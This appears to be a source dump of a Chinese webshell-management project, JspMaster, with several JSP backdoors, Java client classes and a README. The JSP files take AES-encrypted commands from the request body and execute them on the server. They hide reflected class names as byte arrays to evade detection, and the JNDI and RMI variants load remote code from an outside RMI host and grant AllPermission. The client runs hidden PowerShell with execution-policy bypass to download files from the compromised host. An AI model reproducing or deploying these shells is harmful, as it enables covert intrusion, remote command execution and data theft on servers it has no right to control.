2 | <%@ page import="javax.crypto.SecretKey" %>
3 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
4 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
5 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
6 | <%@ page import="javax.crypto.Cipher" %>
7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
8 | <%!
9 | public static String encrypt(final String plaintext) {
10 | try {
11 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
12 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
13 | // 指定加密的算法、工作模式和填充方式
14 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
15 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
16 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
17 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
18 | } catch (Exception e) {
19 | e.printStackTrace();
20 | return null;
21 | }
22 | }
23 |
24 | public static String decrypt(final String encrypted) {
25 | try {
26 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
27 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
28 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
29 | // 指定加密的算法、工作模式和填充方式
30 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
31 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
32 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
33 | } catch (Exception e) {
34 | e.printStackTrace();
35 | return null;
36 | }
37 | }
38 | %>
39 | <%
40 | BufferedReader br = request.getReader();
41 | String str, wholeStr = "";
42 | while((str = br.readLine()) != null) {
43 | wholeStr += str + "\n";
44 | }
45 | br.close();
46 |
47 | if(wholeStr != null && !wholeStr.trim().equals("")){
48 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1));
49 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}));
50 | InputStream in = ((Process) clazz.getMethod(new String(new byte[] {101,120,101,99}), String[].class).invoke(clazz.getMethod(new String(new byte[] {103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{wholeStr.split(",",3)})).getInputStream();
51 | int len = 0;
52 | byte[] buffer = new byte[1024];
53 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
54 | while((len = in.read(buffer)) != -1){
55 | baos.write(buffer, 0, len);
56 | }
57 |
58 | response.getWriter().print(encrypt(baos.toString().trim()));
59 | in.close();
60 | baos.close();
61 | }
62 | %>
63 |
--------------------------------------------------------------------------------
/shell/流量加密版本/reflection-aes-3.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page import="javax.crypto.Cipher" %>
3 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
4 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
5 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
6 | <%@ page import="javax.crypto.SecretKey" %>
7 | <%@ page import="java.lang.reflect.Method" %>
8 | <%@ page import="java.util.Map" %>
9 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
10 | <%!
11 | public static String encrypt(final String plaintext) {
12 | try {
13 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
14 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
15 | // 指定加密的算法、工作模式和填充方式
16 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
17 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
18 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
19 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
20 | } catch (Exception e) {
21 | e.printStackTrace();
22 | return null;
23 | }
24 | }
25 |
26 | public static String decrypt(final String encrypted) {
27 | try {
28 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
29 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
30 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
31 | // 指定加密的算法、工作模式和填充方式
32 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
33 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
34 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | return null;
38 | }
39 | }
40 | %>
41 | <%
42 | BufferedReader br = request.getReader();
43 | String str, wholeStr = "";
44 | while((str = br.readLine()) != null) {
45 | wholeStr += str + "\n";
46 | }
47 | br.close();
48 |
49 | if(wholeStr != null && !wholeStr.trim().equals("")){
50 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1));
51 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,73,109,112,108}));
52 | Method method = clazz.getDeclaredMethod(new String(new byte[]{115,116,97,114,116}), String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
53 | method.setAccessible(true);
54 | Process p = (Process)method.invoke(null, wholeStr.split(",",3), null, null, null, true);
55 | InputStream in = p.getInputStream();
56 | int len = 0;
57 | byte[] buffer = new byte[1024];
58 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
59 | while((len = in.read(buffer)) != -1){
60 | baos.write(buffer, 0, len);
61 | }
62 |
63 | response.getWriter().print(encrypt(baos.toString().trim()));
64 | in.close();
65 | baos.close();
66 | }
67 | %>
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/BasicSetting.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | import com.feihong.bean.ShellEntry;
4 | import com.feihong.executor.CommandExecutor;
5 | import java.io.File;
6 | import java.util.*;
7 |
8 | public class BasicSetting {
9 | public String shellUrl;
10 | public String shellPwd;
11 | public String shellType;
12 | public String shellPlatform;
13 | public Boolean isConnected = false;
14 | public boolean encrypt;
15 | public Map headers;
16 | public String fileSeprator;
17 | public String dbFile;
18 | public String encryptKey;
19 | public String iv;
20 | public Map shells;
21 |
22 | private static BasicSetting basicSetting = new BasicSetting();
23 |
24 | private BasicSetting(){
25 |
26 | dbFile = System.getProperty("user.dir") + "/database/data.db";
27 | encryptKey = ConfigUtil.getCommunicationKey();
28 | shells = new HashMap<>();
29 |
30 | List list = BasicUtil.getClassName();
31 |
32 | //把 plugin 目录的内容也加入进来
33 | String path = System.getProperty("user.dir") + "/plugin/";
34 | BasicUtil.findStringList(new File(path), list);
35 |
36 | for(String fileName : list){
37 | if(!fileName.endsWith(".class")){
38 | continue;
39 | }
40 |
41 | fileName = fileName.substring(0, fileName.indexOf("."));
42 |
43 | if(!fileName.equalsIgnoreCase("CommandExecutor") && !fileName.equalsIgnoreCase("CommandExecutorFactory")){
44 | String className = "com.feihong.executor." + fileName;
45 |
46 | try {
47 | MyClassLoader classLoader = new MyClassLoader();
48 | Class clazz = classLoader.findClass(className);
49 | if(clazz == null){
50 | continue;
51 | }
52 | CommandExecutor commandExecutor = (CommandExecutor) clazz.newInstance();
53 | shells.put(commandExecutor.getName(), className);
54 | } catch (InstantiationException | IllegalAccessException e) {
55 | e.printStackTrace();
56 | }
57 | }
58 | }
59 |
60 | }
61 |
62 | public static BasicSetting getInstance(){
63 | return basicSetting;
64 | }
65 |
66 | public void initialize(ShellEntry entry){
67 | basicSetting.shellUrl = entry.getUrl();
68 | basicSetting.shellPwd = entry.getPassword();
69 | basicSetting.shellType = entry.getType();
70 | basicSetting.encrypt = entry.getIsEncrypt() ==1 ? true : false;
71 | basicSetting.headers = entry.getHeaders();
72 |
73 | if(entry.getEncryptKey() != null && !entry.getEncryptKey().trim().equals("")){
74 | basicSetting.encryptKey = entry.getEncryptKey();
75 | }else{
76 | basicSetting.encryptKey = ConfigUtil.getCommunicationKey();
77 | }
78 |
79 | if(entry.getIV() != null && !entry.getIV().trim().equals("")){
80 | basicSetting.iv = entry.getIV();
81 | }else{
82 | basicSetting.iv = ConfigUtil.getIV();
83 | }
84 | }
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/asm/AsmForBehind.java:
--------------------------------------------------------------------------------
1 | package com.feihong.asm;
2 |
3 | import org.objectweb.asm.*;
4 | import java.io.IOException;
5 | import static org.objectweb.asm.Opcodes.*;
6 | import static org.objectweb.asm.Opcodes.PUTFIELD;
7 |
8 | public class AsmForBehind {
9 | private String cmd;
10 | private String key;
11 | private String iv;
12 | private boolean encrypt;
13 |
14 |
15 | public AsmForBehind(String cmd, boolean encrypt, String key, String iv){
16 | this.cmd = cmd;
17 | this.key = key;
18 | this.encrypt = encrypt;
19 | this.iv = iv;
20 | }
21 |
22 | public byte[] process(){
23 | try{
24 | ClassReader cr;
25 | if(encrypt){
26 | cr = new ClassReader("com.feihong.asm.BehinderExploitAES");
27 | }else{
28 | cr = new ClassReader("com.feihong.asm.BehinderExploit");
29 | }
30 | ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
31 |
32 | cr.accept(new ClassVisitor(Opcodes.ASM6, cw) {
33 | @Override
34 | public MethodVisitor visitMethod(int access, String name, String descriptor, String signature,
35 | String[] exceptions) {
36 | MethodVisitor methodVisitor = super.visitMethod(access, name, descriptor, signature, exceptions);
37 | if (name.trim().equals("")) {
38 | return new ModifyMethod(methodVisitor);
39 | }
40 |
41 | return methodVisitor;
42 | }
43 | }, Opcodes.ASM6);
44 |
45 | return cw.toByteArray();
46 | }catch(IOException e){
47 | e.printStackTrace();
48 | }
49 |
50 | return "".getBytes();
51 | }
52 |
53 | private class ModifyMethod extends MethodVisitor {
54 | public ModifyMethod(MethodVisitor mv) {
55 | super(Opcodes.ASM6, mv);
56 | }
57 |
58 | @Override
59 | public void visitInsn(int opcode) {
60 | if (opcode == Opcodes.RETURN) {
61 | //动态修改实例属性age的值
62 | if(encrypt){
63 | mv.visitVarInsn(ALOAD, 0);
64 | mv.visitLdcInsn(cmd);
65 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploitAES", "str", "Ljava/lang/String;");
66 | mv.visitVarInsn(ALOAD, 0);
67 | mv.visitLdcInsn(key);
68 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploitAES", "encryptKey", "Ljava/lang/String;");
69 | mv.visitVarInsn(ALOAD, 0);
70 | mv.visitLdcInsn(iv);
71 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploitAES", "iv", "Ljava/lang/String;");
72 | }else{
73 | mv.visitVarInsn(ALOAD, 0);
74 | mv.visitLdcInsn(cmd);
75 | mv.visitFieldInsn(PUTFIELD, "com/feihong/asm/BehinderExploit", "str", "Ljava/lang/String;");
76 | }
77 |
78 | }
79 | super.visitInsn(opcode);
80 | }
81 | }
82 |
83 | }
84 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/WindowsPlatformDownloadTask.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.executor.CommandExecutorFactory;
4 | import com.feihong.util.BasicUtil;
5 | import javafx.concurrent.Task;
6 | import java.io.File;
7 | import java.io.FileOutputStream;
8 | import java.util.ArrayList;
9 | import java.util.Base64;
10 | import java.util.Iterator;
11 | import java.util.List;
12 |
13 | public class WindowsPlatformDownloadTask extends Task {
14 | private String serverPath;
15 | private String localPath;
16 | private int threadNum;
17 | private int blocksize;
18 |
19 | public WindowsPlatformDownloadTask(String serverPath, String localPath, int threadNum, int blocksize){
20 | this.serverPath = serverPath;
21 | this.localPath = localPath;
22 | this.threadNum = threadNum;
23 | this.blocksize = blocksize;
24 | }
25 |
26 | @Override
27 | protected Boolean call() throws Exception {
28 | long time1 = System.currentTimeMillis();
29 |
30 | String cmd = "powershell -nop -w hidden -ep bypass -c \"[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('" + serverPath + "')).Length\"";
31 | String size = CommandExecutorFactory.getInstance().exec(cmd).getResponseResult();
32 | int length = Integer.parseInt(size);
33 | System.out.println("Total size: " + length);
34 |
35 | int totalPart = (int) Math.ceil((double) length / blocksize);
36 | System.out.println("Total part: " + totalPart);
37 |
38 | List list = new ArrayList<>();
39 | for(int i =0;i < totalPart; i++){
40 | list.add(i);
41 | }
42 |
43 | List threadPool = new ArrayList<>();
44 | Iterator it = list.iterator();
45 | List runThreads = new ArrayList<>();
46 | int count = 0;
47 | while( !isCancelled() && it.hasNext()){ ;
48 | if(threadPool.size() < threadNum){
49 | int partNum = it.next();
50 | Runnable runnable = new WindowsPlatformDownloadThread(serverPath, partNum, blocksize, localPath, length, threadPool);
51 | threadPool.add(runnable);
52 | Thread t = new Thread(runnable);
53 | t.start();
54 | runThreads.add(t);
55 | updateProgress(++count, totalPart+1);
56 | }
57 | }
58 |
59 | if(isCancelled()){
60 | //删除文件操作必须等所有线程结束,否则会出现删除了又出现的情况
61 | for(Thread t : runThreads)
62 | try{t.join();}catch(Throwable e){}
63 |
64 | new File(localPath + ".tmp").delete();
65 | return true;
66 | }
67 |
68 |
69 | for(Thread t : runThreads)
70 | try{t.join();}catch(Throwable e){}
71 |
72 | Base64.Decoder decoder = Base64.getDecoder();
73 | FileOutputStream fos = new FileOutputStream(localPath);
74 | fos.write(decoder.decode(BasicUtil.getContent(localPath + ".tmp")));
75 | fos.close();
76 |
77 | new File(localPath +".tmp").delete();
78 |
79 | updateProgress(1.0,1.0);
80 | System.out.println("下载完毕");
81 |
82 | long time2 = System.currentTimeMillis();
83 | System.out.println("耗时:" + (time2 - time1)/1000.0 + "s");
84 | return true;
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/BasicUtil.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | import java.io.*;
4 | import java.net.URL;
5 | import java.util.ArrayList;
6 | import java.util.Enumeration;
7 | import java.util.List;
8 | import java.util.jar.JarEntry;
9 | import java.util.jar.JarFile;
10 |
11 | public class BasicUtil {
12 |
13 | public static String getContent(String fileName){
14 | try {
15 | InputStream in = new FileInputStream(fileName);
16 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
17 |
18 | int len = 0;
19 | byte[] buffer = new byte[1024];
20 | while((len = in.read(buffer)) != -1){
21 | baos.write(buffer, 0, len);
22 | }
23 |
24 | baos.close();
25 | in.close();
26 |
27 | return baos.toString();
28 | } catch (IOException e) {
29 | e.printStackTrace();
30 | }
31 |
32 | return "";
33 | }
34 |
35 | public static void findStringList(File dir, List allFile) {
36 | if (!dir.exists() || !dir.isDirectory()) {// 判断是否存在目录
37 | return;
38 | }
39 | File[] files = dir.listFiles();
40 | if(files != null){
41 | for (File file : files) {// 循环,添加文件名或回调自身
42 | if (file.isFile()) {// 如果文件
43 | allFile.add(file.getName());// 添加文件全路径名
44 | } else {// 如果是目录
45 | findStringList(file, allFile);// 回调自身继续查询
46 | }
47 | }
48 | }
49 | }
50 |
51 | public static void findFileList(File dir, List allFile) {
52 | if (!dir.exists() || !dir.isDirectory()) {// 判断是否存在目录
53 | return;
54 | }
55 | File[] files = dir.listFiles();
56 | if(files != null){
57 | for (File file : files) {// 循环,添加文件名或回调自身
58 | if (file.isFile()) {// 如果文件
59 | allFile.add(file);// 添加文件全路径名
60 | } else {// 如果是目录
61 | findFileList(file, allFile);// 回调自身继续查询
62 | }
63 | }
64 | }
65 | }
66 |
67 | public static List getClassName(){
68 | List list = new ArrayList<>();
69 | URL url = BasicUtil.class.getProtectionDomain().getCodeSource().getLocation();
70 | if(url.getPath().endsWith(".jar")){
71 | JarFile jar = null;
72 | try {
73 | jar = new JarFile(url.getPath());
74 | } catch (IOException e) {
75 | e.printStackTrace();
76 | }
77 |
78 | Enumeration enumeration = jar.entries();
79 | while(enumeration.hasMoreElements()){
80 | JarEntry entry = (JarEntry)enumeration.nextElement();
81 | if(entry.getName().startsWith("com/feihong/executor") && entry.getName().endsWith(".class")){
82 | list.add(entry.getName().split("/",4)[3]);
83 | }
84 | }
85 | }else{
86 | String path = BasicUtil.class.getResource("/com/feihong/executor").getPath();
87 | File file = new File(path);
88 | for(File f : file.listFiles()){
89 | list.add(f.getName());
90 | }
91 | }
92 |
93 | return list;
94 |
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## UPDATE: 这个项目在测试环境中表现正常,但是在实际环境中有各种各样的问题,由于本来就是一个练手项目,所以不会再维护了
2 |
3 | # 项目背景
4 | 最早读到《利用 Java 反射和类加载机制绕过JSP后门检测》这篇文章时,很感兴趣,仔细研究了作者的文章,受益颇多。之后也产生了寻找其他方式实现命令执行的想法,在经过一段时间的寻找与实践后,也确实找到了实现命令执行的其他方式。但是,由于某些 JSP 执行命令时的方式较为繁琐,无法通过调用 JavaScript 的方式产生 payload,于是决定采用 JavaFx 编写一个配套的 GUI 管理工具,于是便有了 JspMaster 的诞生。
5 |
6 | 与其他 Webshell 管理工具不同,由于一开始的想法是寻找其他命令执行的方式,所以 JspMaster 的底层逻辑是通过命令执行,而不是通过代码执行来实现的。这增强了工具的可扩展性,但同时也引入了一些困难,比如文件的上传与下载,数据库连接(暂未实现)等问题。目前所有的文件上传下载操作,在 Linux 平台下需要借助 python,在 Windows 平台下需要借助 powershell,如果服务器不支持 python 或者 powershell,文件管理功能会无法正常使用。另外由于执行命令时对命令行长度的限制,导致在 Windows 平台下上传和下载的速率较慢,虽然增加了多线程,但是由于 Windows IO 的问题,过多的线程并不会显著提升上传和下载的速率,反而会导致上传失败,这个也是使用命令执行较难克服的缺点之一。
7 |
8 | JspMaster 中内置了 **10** 种不同方式执行命令的 **JSP** 文件,这是整个项目的精华部分,其中部分参考了网络上已有的 Jsp Webshell 的实现思路,另外一些则来自自己的思考与实践。JspMaster 可以作为为开发人员进行安全培训的辅助工具,有效的向 Java 开发人员阐述某些不安全的编码的方式可能造成的危害。
9 |
10 | # 内置的 10 种 Jsp
11 | |名称|实现方式|备注|
12 | |-------------|-------------------------|----------------------|
13 | |basic.jsp|Runtime.getRuntime.exec()|Java中执行命令最基本的方式|
14 | |reflection.jsp|借助反射的方式实现命令执行|参考自http://nxw.so/3x4Ie|
15 | |URLClassLoader.jsp|借助自定义类加载器从远端加载自定义jar包方式实现命令执行|参考自互联网(出处不可考)|
16 | |deserialization.jsp|借助反序列化的方式实现命令执行|需要借助动态字节码技术|
17 | |xslt.jsp|借助XSLT转换实现命令执行|不建议在Windows平台中使用此种方式|
18 | |ELProcessor.jsp|借助EL表达式实现命令执行|容器需要支持J2EE 7标准(如Tomcat 8),参考https://www.freebuf.com/column/207439.html|
19 | |ScriptManager.jsp|借助Nashorn脚本引擎实现命令执行|未来JDK可能会移除对Nashorn脚本引擎的支持|
20 | |behind.jsp|借助自定义类加载器加载远端发送的字节码流实现命令执行|参考自冰蝎|
21 | |rmi.jsp|借助RMI实现命令执行||
22 | |jndi.jsp|借助JNDI实现命令执行|某些高版本JDK即使设置了trustURLCodebase,trustURLCodebase选项,也不会远程加载Factory类,如JDK 11.0.5-ea|
23 |
24 | # 使用说明
25 | + URLClassLoader.jsp
26 | 使用时需要将远端Jar包的URL地址指向您VPS的地址,远端Jar包可以使用 tool 文件夹中的debug.jar
27 | + rmi.jsp
28 | 使用时需要将tool文件夹中的rmi.zip上传至您的VPS并解压,在目录中执行
29 | ```
30 | java Server [ServerIP] [RMI监听端口] [HTTP监听端口]
31 | ```
32 | 并将JSP文件中的rmi地址修改为您VPS的IP地址
33 | 
34 | + jndi.jsp
35 | 使用时需要将tool文件夹中的jnid.zip上传至您的VPS并解压,在目录中执行
36 | ```
37 | java Server [ServerIP] [RMI监听端口] [HTTP监听端口]
38 | ```
39 | 并将JSP文件中的rmi地址修改为您VPS的IP地址
40 | 
41 | + 界面截图
42 | 
43 | 
44 |
45 | # FAQ
46 | + Q:JspMaster流量是否加密?
47 | A:JspMaster提供了流量加密和流量未加密的两种类型的shell,并在控制面板中提供了是否启用加密的选项,使用者可以根据自己的喜好选择是否使用加密。对于启用流量加密的shell,JspMaster会使用AES加密算法对流量进行全加密,且密钥和IV为初始化时根据用户输入值和当前时间戳拼接并哈希后的值得到的,保证key和IV的唯一性。
48 |
49 | + Q:JspMaster和冰蝎有什么不同?
50 | A:底层实现不同,冰蝎功能的底层实现是借助于代码执行实现的,JspMaster的底层实现是借助于命令执行实现的。代码执行的方式比较优雅,在各种平台都可以通用。命令执行扩展性较好,支持增加不同方式的新的shell,但是需要针对不同的平台进行适配。
51 |
52 | + Q:JspMaster不支持数据库管理是因为底层是命令执行从而技术上无法实现吗?
53 | A:理论上,在Linux平台下借助python,在Windows平台下借助powershell,可以实现数据库管理功能,但是实现起来较耗时间,目前决定暂不支持数据库管理功能,后期如果JspMaster的使用者较多,可以考虑增加数据库管理功能。
54 |
55 | + Q:JspMaster只支持Jsp吗?
56 | A:是的,JspMaster目前只支持Jsp,但是提供了扩展功能。您可以将参考plugin目录中的CommandExecutor.java文件,为您的php/aspx/asp shell实现getName(显示在JspMaster中类型下拉选项框中的名称)和exec(您的shell执行命令时命令的格式,可参考已有的实现)方法,从而实现对php/aspx/asp shell的支持。 (新增了一个PHPDemo,演示对php的支持)
57 |
58 | # 特别鸣谢
59 | 感谢 Pine.Lin 在此项目编写过程中给予的大量技术支持。
60 |
--------------------------------------------------------------------------------
/shell/流量加密版本/jndi-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="javax.naming.NamingException" %>
2 | <%@ page import="java.util.Hashtable" %>
3 | <%@ page import="javax.naming.Context" %>
4 | <%@ page import="javax.naming.InitialContext" %>
5 | <%@ page import="java.lang.reflect.Method" %>
6 | <%@ page import="java.io.BufferedReader" %>
7 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
8 | <%@ page import="javax.crypto.SecretKey" %>
9 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
10 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
11 | <%@ page import="javax.crypto.Cipher" %>
12 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
13 | <%!
14 | public class JNDI {
15 |
16 | public Object lookup(String url){
17 | try{
18 | Hashtable env = new Hashtable();
19 | env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
20 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
21 | System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
22 | InitialContext ctx = new InitialContext(env);
23 | return ctx.lookup(url);
24 | }catch(NamingException e){
25 | e.printStackTrace();
26 | }
27 |
28 | return null;
29 | }
30 | }
31 | %>
32 | <%!
33 | public static String encrypt(String plaintext) {
34 | try {
35 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
36 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
37 | // 指定加密的算法、工作模式和填充方式
38 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
39 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
40 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
41 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
42 | } catch (Exception e) {
43 | e.printStackTrace();
44 | return null;
45 | }
46 | }
47 |
48 | public static String decrypt(String encrypted) {
49 | try {
50 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
51 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
52 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
53 | // 指定加密的算法、工作模式和填充方式
54 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
55 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
56 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
57 | } catch (Exception e) {
58 | e.printStackTrace();
59 | return null;
60 | }
61 | }
62 | %>
63 | <%!
64 | Object obj = new JNDI().lookup("rmi://192.168.177.129:1099/Object");
65 | %>
66 | <%
67 | BufferedReader br = request.getReader();
68 | String str, wholeStr = "";
69 | while((str = br.readLine()) != null) {
70 | wholeStr += str + "\n";
71 | }
72 | br.close();
73 |
74 | if(wholeStr != null && !wholeStr.trim().equals("")){
75 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
76 | wholeStr = decrypt(wholeStr);
77 | Method method = obj.getClass().getMethod("run", String.class);
78 | response.getWriter().print(encrypt((String) method.invoke(obj, wholeStr)));
79 | }
80 | %>
81 |
--------------------------------------------------------------------------------
/shell/流量加密版本/rmi-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.rmi.RMISecurityManager" %>
2 | <%@ page import="java.rmi.Naming" %>
3 | <%@ page import="java.lang.reflect.Method" %>
4 | <%@ page import="java.io.BufferedReader" %>
5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
6 | <%@ page import="javax.crypto.SecretKey" %>
7 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
8 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
9 | <%@ page import="javax.crypto.Cipher" %>
10 | <%@ page import="java.io.File" %>
11 | <%@ page import="java.io.FileWriter" %>
12 | <%@ page import="java.io.BufferedWriter" %>
13 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
14 | <%!
15 | public static String encrypt(final String plaintext) {
16 | try {
17 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
18 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
19 | // 指定加密的算法、工作模式和填充方式
20 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
21 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
22 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
23 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
24 | } catch (Exception e) {
25 | e.printStackTrace();
26 | return null;
27 | }
28 | }
29 |
30 | public static String decrypt(final String encrypted) {
31 | try {
32 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
33 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
34 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
35 | // 指定加密的算法、工作模式和填充方式
36 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
37 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
38 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
39 | } catch (Exception e) {
40 | e.printStackTrace();
41 | return null;
42 | }
43 | }
44 | %>
45 | <%
46 | BufferedReader br = request.getReader();
47 | String str, wholeStr = "";
48 | while((str = br.readLine()) != null) {
49 | wholeStr += str + "\n";
50 | }
51 | br.close();
52 |
53 | if(wholeStr != null && !wholeStr.trim().equals("")) {
54 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1));
55 | try {
56 | File file = new File("security.policy");
57 | if(!file.exists()){
58 | file.createNewFile();
59 | FileWriter fileWritter = new FileWriter(file.getName(),true);
60 | BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
61 | bufferWritter.write("grant {\n" +
62 | " permission java.security.AllPermission;\n" +
63 | "};");
64 | bufferWritter.close();
65 | }
66 | System.setProperty("java.security.policy","security.policy");
67 | System.setProperty("java.rmi.server.useCodebaseOnly","false");
68 | System.setSecurityManager(new RMISecurityManager());
69 |
70 | Object object = Naming.lookup("rmi://192.168.177.129:1099/Object");
71 | Method method = object.getClass().getMethod("getExploit", null);
72 | Object obj = method.invoke(object);
73 | method = obj.getClass().getMethod("run", String.class);
74 | response.getWriter().print(encrypt((String)method.invoke(obj, wholeStr)));
75 | } catch (Exception e){
76 | e.printStackTrace();
77 | }
78 | }
79 | %>
80 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/bean/ShellEntry.java:
--------------------------------------------------------------------------------
1 | package com.feihong.bean;
2 |
3 | import java.util.HashMap;
4 | import java.util.Map;
5 |
6 | public class ShellEntry {
7 | private int id = 0;
8 | private String url = "";
9 | private String password = "";
10 | private String type = "";
11 | private String createTime = "";
12 | private String lastvisitTime = "";
13 | private String remarks = "";
14 | private Map headers = new HashMap<>();
15 | private int isEncrypt = 1;
16 | private String encryptKey = "";
17 | private String iv = "";
18 |
19 | public ShellEntry(){}
20 |
21 | public ShellEntry(int id, String url, String password, String type, String createTime, String lastvisitTime,
22 | String remarks, Map headers, int isEncrypt, String encryptKey, String iv) {
23 | this.id = id;
24 | this.url = url;
25 | this.password = password;
26 | this.type = type;
27 | this.createTime = createTime;
28 | this.lastvisitTime = lastvisitTime;
29 | this.remarks = remarks;
30 | this.headers = headers;
31 | this.isEncrypt = isEncrypt;
32 | this.encryptKey = encryptKey;
33 | this.iv = iv;
34 | }
35 |
36 | public int getId() {
37 | return id;
38 | }
39 |
40 | public void setId(int id) {
41 | this.id = id;
42 | }
43 |
44 | public String getUrl() {
45 | return url;
46 | }
47 |
48 | public void setUrl(String url) {
49 | this.url = url;
50 | }
51 |
52 | public String getPassword() {
53 | return password;
54 | }
55 |
56 | public void setPassword(String password) {
57 | this.password = password;
58 | }
59 |
60 | public String getType() {
61 | return type;
62 | }
63 |
64 | public void setType(String type) {
65 | this.type = type;
66 | }
67 |
68 | public String getCreateTime() {
69 | return createTime;
70 | }
71 |
72 | public void setCreateTime(String createTime) {
73 | this.createTime = createTime;
74 | }
75 |
76 | public String getLastvisitTime() {
77 | return lastvisitTime;
78 | }
